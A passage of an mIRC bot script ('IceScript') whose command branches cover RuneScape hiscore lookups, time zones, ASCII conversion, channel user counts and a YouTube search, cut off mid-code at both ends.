$chan,.notice $nick) $c1($2- =) $c2($bytes($calc($regsubex($regsubex($regsubex($2-,/\s|\Q $+ $chr(44) $+ \E/g,$null),/((?:\d*\.)?(?:\d*))([kmbt]|pi)/ig,$calc($iif(\1,$v1,1) * $iif(\2 == k,1000,$iif(\2 == m,100000,$iif(\2 == b,1000000000,$iif(\2 == t,1000000000000,$pi)))))),/((?:\d*\.)?(?:\d*))([²³])/g,$calc($iif(\1,$v1,1) ^ $iif(\2 == ²,2,3)))),bd)) } } elseif (%style == time) { $iif($left($1,1) == @,msg $chan,.notice $nick) $c2(Times are:) $c1(UK - GMT: $asctime($calc($gmt + (0*3600)),ddd dd mmm yyyy HH:nn:ss)) $c2(Euro - CET: $asctime($calc($gmt + (1*3600)),ddd dd mmm yyyy HH:nn:ss)) $c1(Aus - CST: $asctime($calc($gmt + (9.5*3600)),ddd dd mmm yyyy HH:nn:ss)) $c2(USA - CST: $asctime($calc($gmt + (-6*3600)),ddd dd mmm yyyy HH:nn:ss)) } elseif (%style == rank) { inc %x sockopen $+(rank.,%x) hiscore.runescape.com 80 sockmark $+(rank.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦,$getskill($2),¦,$3,¦) if ($3 == $null) { $gettok($sock($+(rank.,%x)).mark,1,166) $c1(Specify a) $c2(Skill and rank) $c1(to look up) $c2(!rank ) sockclose $+(rank.,%x) halt } elseif ($getskill($2) == Error) { $gettok($sock($+(rank.,%x)).mark,1,166) $c1(Specify a) $c2(valid skill) sockclose $+(rank.,%x) halt } elseif ($3 !isnum 1-1000000) { $gettok($sock($+(rank.,%x)).mark,1,166) $c1(The hiscores only go from) $c2(1-1000000) sockclose $+(rank.,%x) halt } } elseif (%style == info) { if ($2 == IceScript) { var %id None, %channels $chan(0), %Hoster Kiddo, %home #IceScript, %creator Killalot3991, %scripts $script(0) var %x 1 while (%x <= $script(0)) { var %lines = $calc(%lines + $lines($script(%x))) inc %x } $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(Bot information for) $c2($me) $c1(Creator:) $c2(%creator) $c1(Home channel:) $c2(%home) $c1(Hoster:) $c2(%hoster) $c1(ID:) $c2(%ID) $c1(Channels:) $c2(%channels) $c1(Scipts loaded:) $c2(%scripts) $c1(Total lines:) $c2(%lines) } } elseif (%style == ascii) { if ($2 == $null) { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(Specify a) $c2(string) $c1(to turn into an ascii code) $c2(!ascii ) halt } else { var %ascii = 1 while (%ascii <= $len($2-)) { var %resulta = %resulta $+ $chr(36) $+ chr $+ $chr(40) $+ $asc($mid($2-,%ascii,1)) $+ $chr(41) $+ $iif($mid($2-,$calc(%ascii +1),1) == $null,$null,$chr(44)) inc %ascii } $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(The string) $c2($2-) $c1(has been turned to) $c2($+($chr(36),$chr(43),$chr(40),%resulta,$chr(41))) } } elseif (%style == chr) { if ($2 == $null) { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(Specify a) $c2(ascii number) $c1(to turn into a string) $c2(!chr ) halt } else { var %chr = 2 while (%chr <= $0) { var %chr.result = $+(%chr.result,$chr($gettok($1-,%chr,32))) inc %chr } $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(The ascii number) $c2($2-) $c1(has been turned to) $c2(%chr.result) } } elseif (%style == combat) { if (($right($1,-1) == cmb) || ($right($1,-1) == combat) || ($right($1,-1) == cb) || ($right($1,-1) == duel)) { inc %x sockopen $+(cmb.,%x) hiscore.runescape.com 80 sockmark $+(cmb.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦) if ($len($2-) > 12) { $gettok($sock($+(cmb.,%x)).mark,1,166) $c1(The) $c2(rsn) $c1(has to be) $c2(12) $c1(letters max) sockclose $+(cmb.,%x) halt } elseif ($2) { sockmark $+(cmb.,%x) $+($sock($+(cmb.,%x)).mark,$replace($2-,$chr(32),+),¦,$iif($right($1,-1) == duel,duel¦)) } elseif (($2 == $null) && ($readini(DefRSN.ini,RSNs,$address($nick,2)))) { sockmark $+(cmb.,%x) $+($sock($+(cmb.,%x)).mark,$ifmatch,¦,$iif($right($1,-1) == duel,duel¦)) } else { $gettok($sock($+(cmb.,%x)).mark,1,166) $c1(Specify a) $c2(rsn) $c1(to search) $c2(!cmb ) $c1(or use) $c2(!defname then !cmb) sockclose $+(cmb.,%x) halt } } } elseif (%style == count) { $iif($left($1,1) == @,msg $chan,.notice $nick) $c1(There are) $c2($nick($chan,0)) $c1(people) $c2($nick($chan,0,o)) $c1(ops) $c2($nick($chan,0,h,o) $c1(halfops) $c2($nick($chan,0,v,oh)) $c1(voice) $c2($nick($chan,0,r)) $c1(regulars))$c2( $c1(in) $c2($chan) } elseif (%style == compare) { inc %x sockopen $+(compare.,%x) hiscore.runescape.com 80 sockmark $+(compare.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦) if ($len($3) > 12) { $gettok($sock($+(compare.,%x)).mark,1,166) $c1(The) $c2(rsn) $c1(has to be) $c2(12) $c1(letters max) sockclose $+(compare.,%x) halt } elseif ($len($4) > 12) { $gettok($sock($+(compare.,%x)).mark,1,166) $c1(The) $c2(rsn) $c1(has to be) $c2(12) $c1(letters max) sockclose $+(compare.,%x) halt } elseif ($4) { sockmark $+(compare.,%x) $+($sock($+(compare.,%x)).mark,$3,¦,$4,¦) } elseif (($4 == $null) && ($3) && ($readini(DefRSN.ini,RSNs,$address($nick,2)))) { sockmark $+(compare.,%x) $+($sock($+(compare.,%x)).mark,$3,¦,$ifmatch,¦) } else { $gettok($sock($+(compare.,%x)).mark,1,166) $c1(Specify a) $c2(two rsn and a skill) $c1(to compare) $c2(!compare ) $c1(or use) $c2(!defname then !compare ) sockclose $+(compare.,%x) halt } if ($getskill($2) == Error) { $gettok($sock($+(compare.,%x)).mark,1,166) $c1(Specify a valid skill) sockclose $+(compare.,%x) halt } sockmark $+(compare.,%x) $+($sock($+(compare.,%x)).mark,$getskill($2),¦) } elseif (%style == yt) { inc %x sockopen $+(youtube.,%x) www.youtube.com 80 sockmark $+(youtube.,%x) $+($iif($left($1,1) == @,msg $chan,.notice $nick),¦,$nick,¦,$replace($2-,$chr(32),+)) if ($2 == $null) { $gettok($sock($+(youtube.,%x)).mark,1,166) $c1(Specify a) $c2(video) $c1(to search) $c2(!youtube